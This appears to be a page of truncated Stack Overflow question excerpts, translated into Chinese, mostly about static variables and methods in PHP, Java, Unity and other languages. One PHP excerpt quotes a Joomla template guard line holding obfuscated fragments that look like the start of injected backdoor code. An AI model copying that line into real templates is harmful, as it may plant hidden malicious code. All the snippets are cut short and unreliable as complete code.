我以前问过这样一个问题,但是这个问题不一样,这更多的是关于解析逻辑。
我之前的问题是如何在字符串(双引号)中嵌入函数,我得到了以下答案:
$date = "date";
echo "This page is under construction<br/><br/>Current Date: {$date('l jS \of F Y')}";
在那之后,我开始想,为什么下面这个没有工作,而上面的那个却很好:
echo "This page is under construction<br/><br/
我正在使用下面的代码,突然它开始抛出一个错误,比如致命错误:当不在/foldername/ index.php的对象上下文中时,在第3行使用$this。
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD X
为了使变量可以从其他类访问,我必须使它是静态的。
当我使它是静态的,我不能编辑它从团结的检查面板。
没有办法做到这两个:可访问和可编辑的面板?
编辑:
这是目前为止的代码(按照Savlon的想法)
BouncingBall.js
#pragma strict
public static BouncingBall instance;
public var velocityX : float = 1;
public var velocityZ : float = -1;
function Awake(){
instance = this;
}
function Update ()
我如何通过漂亮的代码方式在Typescript中使用Angular Material?
例如,我不想在使用SnackBar的每个地方都这样写:
constructor(public snackBar: MdSnackBar) {}
***
this.snackBar.open('text', {
duration: 500
}); // and i need to add this yet 10 times: no to good
***
我想创建一个单独的类,并且只调用它(静态函数),如下所示:
constructor(private snackBar: MdSnac
按照Reactive16.3.0的新上下文API,我创建了专用的上下文,这样我的上下文就可以更容易地被许多组件使用。
但是,如果我有不止一个使用上下文嵌套的组件,则反应抛出错误。
让我们以我的例子来说,我有css模块,我想传递下去,下面是特殊的外观:
import React from 'react';
import CssModuleContext from './CssModuleContext';
export default function withCssModule(Component) {
return function CssModuleC
嘿,我刚开始学习CoffeeScript,我一直收到错误。下面是我的代码:
Db = require('./lib/mongodb').Db
ObjectID = require('./lib/mongodb').ObjectID
Server = require('./lib/mongodb').Server
class UserDataProvider
constructor = (host,port)->
this.db = new Db( 'test' , new Server(ho
我正在学习Java,并编写以下简单代码:
public class Test {
private int a = b;
private final static int b = 10;
public int getA() {
return a;
}
}
public class Hello {
public static void main(String[] args) {
Test test = new Test();
System.out.println(test.getA());
我想知道非静态方法如何修改静态变量。我知道静态方法只能访问其他静态方法和静态变量。然而,另一面是真的吗?非静态方法只能访问非静态变量吗?例如:
public class SampleClass {
private static int currentCount = 0;
public SampleClass() {
currentCount++;
}
public void increaseCount() {
currentCount++;
}
}
这段代码是编译的,我想知道为什么会有静态访问权限。
我有:
class A {
static $instances = 0;
public $instance;
public function __construct() {
$this->instance = ++self::$instances;
}
}
$a = new A();
$b = new A();
echo "<pre>";
print_r($a);
print_r($b);
echo "</pre>";
产出:
A Object
(
[instance]
我们有'Handler‘的自注册子类,我们想要通过Subclass.me()来访问它。在Java中是否可以实现类似的功能:?
public class Handler{
static Vector<Handler> register=new Vector<Handler>();
public static Handler me() {
return register.get( this.class);// TODO
}
}
public class SubClass extends Handler{
SubClass(){regist
本质上,我试图做一些这里提到的事情,,但是用java。
我希望在某个类的所有实例中重置一个变量,如下所示:
public class NewClass{
int variable = 1;
}
然后:
NewClass one = new NewClass();
NewClass two = new NewClass();
NewClass three = new NewClass();
Newclass.variable = 2;
System.out.println(one.variable);
System.out.println(two.variable);
System.out.
我想问一下static的效果:我创建了一个类music,并在声明音乐类变量时使用了static。但是当我运行我的主类来打印音乐数据时,它总是打印出与我在主类中输入的最后一个数据相同的值。
我的班级音乐:
private static String name, genre;
private static int price;
public music(String a, String b, int c){
name = a;
genre = b;
price = c;
}
我的主类代码:
music a1 = new music
当我准备OCAJP考试时,我参加了模拟考试,我遇到了下面这个关于变量和变量范围的问题。
public class HelloWorld{
static int x = 2;
public static void main(String []args){
if(x>1)
{
x++;
int x = 4;
}
System.out.println(x);
final int x = 10;
}
}
上面代码的输
我已经遇到这个问题很多次了,我从来没有费心去了解为什么会发生这种情况,也没有去了解“静态”到底意味着什么。我只是应用了Eclipse建议的更改,然后继续前进。
public class Member {
// Global Variables
int iNumVertices;
int iNumEdges;
public static void main(String[] args) {
// do stuff
iNumVertices = 0; // Cannot make a static reference to the non-static field iNum
我一直在拼命地寻找清楚的答案,我想我有点理解它,但同时我不太明白这个关键字的广义概念,静态。
下面是我所做的设想:
package oops;
public class Math {
boolean notNumber = false;
static boolean notString = false;
public static void main(String[] args) {
int num1 = 1;
static int num2 = 1; //doesn't work
Math math = new Math();
math.no
我有一个简单的query.Basically这是一个理论上的问题,我需要弄清楚这个想法。我还没有找到合适的答案it.The问题是非常simple.Suppose的,我们有一个叫A的班级
class A{
......
}
现在,从我的main函数中,我创建了A的一个对象。
A obj = new A();
现在,在创建对象之后,我将能够访问类中存在的任何方法和变量。
但是对于静态方法或变量,我们可以通过使用类名直接实现这一点,比如
A.methodname();
现在我的问题是,如果我们创建任何类的一个对象,那么内存将被分配给引用,如果我们使用静态方法,直接通过类名调用它们,那么我们不
public class Ride {
public static String name;
public static int ticketsRequired;
public static float heightRequirement;
public Ride(String name, int ticketsRequired, float heightRequirement) {
this.name = name;
this.ticketsRequired = ticketsRequired;
this.heightRequir
这个程序被认为是在main方法中创建对象时创建一个分数,并使用其他方法添加不同的对象。我使用的类包含用于将分数相加和相乘的方法。但是,在这个类中,我有构造函数、访问器和修改器,我还有另外两个方法,它们使用前面提到的类中的方法更新numerator和denominator的值。如何访问上述类中的变量? 这是带有构造函数的类,也是我试图导入变量的地方: public class Fraction {
private int numerator;
private int denominator;
public Fraction(int numerator, int de